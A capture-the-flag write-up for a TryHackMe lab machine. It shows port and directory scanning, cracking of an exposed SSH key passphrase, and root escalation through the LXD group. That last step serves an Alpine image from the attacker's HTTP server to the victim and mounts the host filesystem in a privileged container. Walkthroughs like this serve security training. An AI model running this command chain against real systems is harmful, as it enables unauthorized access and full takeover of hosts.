> For the complete documentation index, see [llms.txt](https://writeups.adityadindi.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://writeups.adityadindi.com/tryhackme/untitled/gaming-server.md).

# Gaming Server

![](/files/-Mbc2OY2lvmmkk66LE5J)

## Reconnaissance

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (**-Pn**)

```
nmap -Pn 10.10.9.5
```

![](/files/-MbcuAnHxUEgPbLL7nbw)

Detailed Nmap Scan : 

Command Breakdown: 

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 22,80
* (**-oN nmap**): Saving it into a files called nmap

```
nmap -sV -sC -p 22,80 -oN nmap 10.10.9.5
```

![](/files/-MbcuKzKvnm5Ug0AtSN7)

## Enumeration

Lets visit the website

![](/files/-MbcuqShGOqdyiW8BMas)

Its a very functional website and nothing of interest at first glance so looking at the source code we see something interesting.

![](/files/-MbcvBS6G7cOqrvcnS6q)

We have a username `John`, lets run gobuster to find hidden directories and pages.

```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.9.5
```

![](/files/-Mbcw5BfTITiD7qwRPUo)

We find two directories, the secret directory looks like it has more file so lets run a gobuster scan against it.

```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.9.5/secret -x php,html,txt
```

Lets now go explore these directories

![](/files/-MbcxBK_XYkpobO9y_g-)

The uploads directory looks like directory that contains files that have been uploaded to the web server. Lets download the three files we see here.

```
wget http://10.10.9.5/uploads/<file-name>
```

![](/files/-MbcxxQuFD6ckfr-csSu)

Lets look at the files

First the `dict.lst` file: it looks like a password list. The second file is interesting to read but nothing that will help us and the third file is a meme.&#x20;

Now lets look at the secret directory

![](/files/-Mbd-1Yp8c_U_dbuvCcl)

Lets download this file

```
wget http://10.10.9.5/secret/secretKey
```

![](/files/-Mbd-IpbDB29YPZV_G87)

Lets read the file

![](/files/-Mbd-NGHaj7KwkOjQXCg)

It a rsa private key, so lets use `ssh2john` to get the password and then login through ssh

## Exploitation

Lets use `ssh2john` to get the hash so that we can use john to crack the password

```
/usr/share/john/ssh2john.py secretKey > hash
```

Now lets crack the password

```
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

![](/files/-Mbd-yRKokToCoimBOO3)

We found the password, so lets login through ssh, but first we have step

```
chmod 600 secretKey
```

And now we can login

```
ssh -i secretKey john@10.10.9.5
```

![](/files/-Mbd0ILrD_H3XANVB_wr)

We can now read the `user.txt` file.

![](/files/-Mbd0PX-MafDb593OzaY)

## Privilege Escalation

Lets run the id command as we cannot run the sudo command as we do not have the password john.

```
id
```

![](/files/-Mbd0gFCVlhKwCnzXPl_)

Looking closely we can see that john is part of the `lxd group`. lxd is a Linux container manager that can be used to mount the root folder on the host machine. There is an [article ](https://www.hackingarticles.in/lxd-privilege-escalation/)on this topic which talks about and shows us how to privilege escalate to root with the current permissions we have. I highly recommend reading the [article ](https://www.hackingarticles.in/lxd-privilege-escalation/)as they explain it very well.

![](/files/-Mbd22OioNTxuFFESe3l)

These are the steps that we have to follow. So first we need to download the alpine image on our machine as I think we can't download files on the victim machine directly , this can be found [here](https://github.com/saghul/lxd-alpine-builder.git).

```
git clone https://github.com/saghul/lxd-alpine-builder.git
```

![](/files/-Mbd34ERt0gVn82Dn_11)

Now we have to change directories into the directory we just cloned and then `run build-alpine`.

```
/build-alpine
```

After running it, a `tar.gz` file is created, now we have to transfer this to the victim machine so lets start a http server so that we can download the file using `wget`.

```
python3 -m http.server 8000
```

![](/files/-Mbd3p9dpzojDYWKRiwg)

Now lets go to the victim machine and download the file

```
wget http://<your-ip>:8000/alpine-v3.13-x86_64-20210607_2042.tar.gz
```

First change directories into the tmp folder as we are going to place all temporary files here.

![](/files/-Mbd4ZeToN-LvBQl_sMy)

Now that the image is built, it can added as an image to `LXD`, we can do that by using this command

```
lxc image import alpine-v3.13-x86_64-20210607_2042.tar.gz --alias myimage
```

![](/files/-Mbd55zhbVDrzgMaSxcB)

Lets check the list of images using this command

```
lxc image list
```

![](/files/-Mbd5DtvlFj2jgYYjUYq)

Now we need to use the following commands to escalate privileges to root

```
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
id
```

![](/files/-Mbd5Wgk_4y9FA7cmX7Q)

Now you are root and can read the root flag which you can find here.

![](/files/-Mbd5gr0xVsLw9DItqXR)